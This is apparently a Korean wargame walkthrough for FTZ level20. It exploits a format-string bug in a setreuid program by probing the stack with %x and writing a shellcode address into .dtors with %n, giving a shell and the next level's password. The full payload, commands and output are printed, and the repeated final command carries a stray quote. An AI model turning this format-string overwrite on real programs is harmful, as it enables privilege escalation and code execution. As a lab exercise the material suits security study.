[level20@ftz level20]$ cat hint
#include <stdio.h>
main(int argc,char **argv)
{
char bleh[80];
setreuid(3101,3101);
fgets(bleh,79,stdin);
printf(bleh);
}
[level20@ftz level20]$ gdb ./attackme
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) disas main
No symbol "main" in current context.
(gdb)
gdb로 main을 보려하니 심볼이 지워져서 구조를 볼 수 없었다.
printf(bleh); <-- 형식지정자를 사용하지 않고 바로 bleh에 담긴 문자열을 출력하는 것을 볼 수 있다.
printf함수의 적절한 쓰임은 printf("%s",bleh); 이다.
[level20@ftz level20]$ ./attackme AAAA AAAA [level20@ftz level20]$ ./attackme %x %x %x %x 4f 4212ecc0 4207a750 25207825 [level20@ftz level20]$ ./attackme %08x %08x %08x %08x 0000004f 4212ecc0 4207a750 78383025 <<<=== %08x 한마디로 인자값이 출력되기 시작 %x 형식지정자를 넣어보면 부호없는 16진수로 ESP가 4바이트씩 내려가면서 해당 스택에 담긴 값을 출력하게 된다. 이를 통해 더미값이 12bytes라는 것을 알수 있다. SP(스페이스바) : 0x20 % : 0X25 x : 0x78 0 : 0x30 8 : 0x38 |
GCC로 컴파일 된 프로그램은 생성자와 소멸자의 테이블 섹션인 .ctors와 .dtors를 생성한다고 한다.
생성자함수와 .ctors 섹션은 main()이 실행되기 전에 호출되고, 소멸자 함수와 .dtors 섹션은 main()이
exit 시스템 콜로 종료되기 직전에 호출된다. 이 점을 이용하여 RET 주소를 찾기 어려운 경우 .dtors영역을
이용하여 실행흐름을 변경한다. dtors섹션+4번째의 메모지 주소에 0이 아닌 값이 있을 경우 함수로 실행을 시키기
때문에 그 값을 쉘코드 주소로 바꿀경우 공격이 가능하다.
[level20@ftz level20]$ objdump -h attackme | grep .dtors
18 .dtors 00000008 08049594 08049594 00000594 2**2
덮어씌울 메모리 주소는 08049594+4이다.
레벨20을 해결하는 데에 가장 중요한 서식문자 %n이 있습니다. printf(bleh) <-- bleh문자열중에 %d나 %x등과 같은 서식문자를 만나면 스택에서 다음 4바이트를 읽어서 출력한다고 했습니다. %n은 독특한 기능을 합니다. %n은 %n이 나오기 전에 출력된 자릿수를 계산하여 스택의 다음 4바이트에 있는 내용을 주소로 여기고 그 주소의 공간인 4바이트를 이용하여 자릿수 숫자를 저장한다. %hn도 %n과 마찬가지로 스택의 다음 4바이트에 있는 값을 주소로 여기고 2바이트를 사용하여 저장한다! 그래서 %hn을 사용하여도 공격이 가능하다.
최종페이로트는 이렇다.
[level20@ftz level20]$ (python -c 'print" AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%64128c%n%50519c%n"';cat)|./attackme
( 4 )( 4 )( 4 )( 4 )( 8 )( 8 )( 8 )( 64128 )%n ( 50519 )%n <--%n에 더해 들어가는 수이며 문자열 중 %s,%c,%d와 같은 서식 지정자를 만나면 그에 맞게 esp가 4바이트씩 올라간다.
차근차근 설명을 하자면 .dtors+4의 주소(0x0849598)에 쉘코드환경변수의 주소(0xbffffaa8)를 넣어야하는데 그주소를 한번에 넣어주기엔 정수형 범위가 약 21억인데 그 수를 초과하기 때문에 (0x08049598부터 2바이트와 0x0804959a부터 2바이트 공간에) 반으로 쪼개어 넣어주도록 한다.
그래서 높은주소에 bfff 낮은주소엔 faa8을 넣어준다. 64128+40이 낮은주소에 들어가고 높은주소에는 bfff가 들어간다. bfff는 10진수로 49151이며 앞에 더해진 값이 이미 크므로 1bfff하여 이값에서 -(64128+40)해주기로 한다. 그리하면 50519가 나온다.
[level20@ftz level20]$ (python -c 'print" AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%64128c%n%50519c%n"';cat"'; cat) | ./attackme
…생략…
A
id
uid=3101(clear) gid=3100(level20) groups=3100(level20)
my-pass
TERM environment variable not set.
clear Password is "i will come in a minute".
웹에서 등록하세요.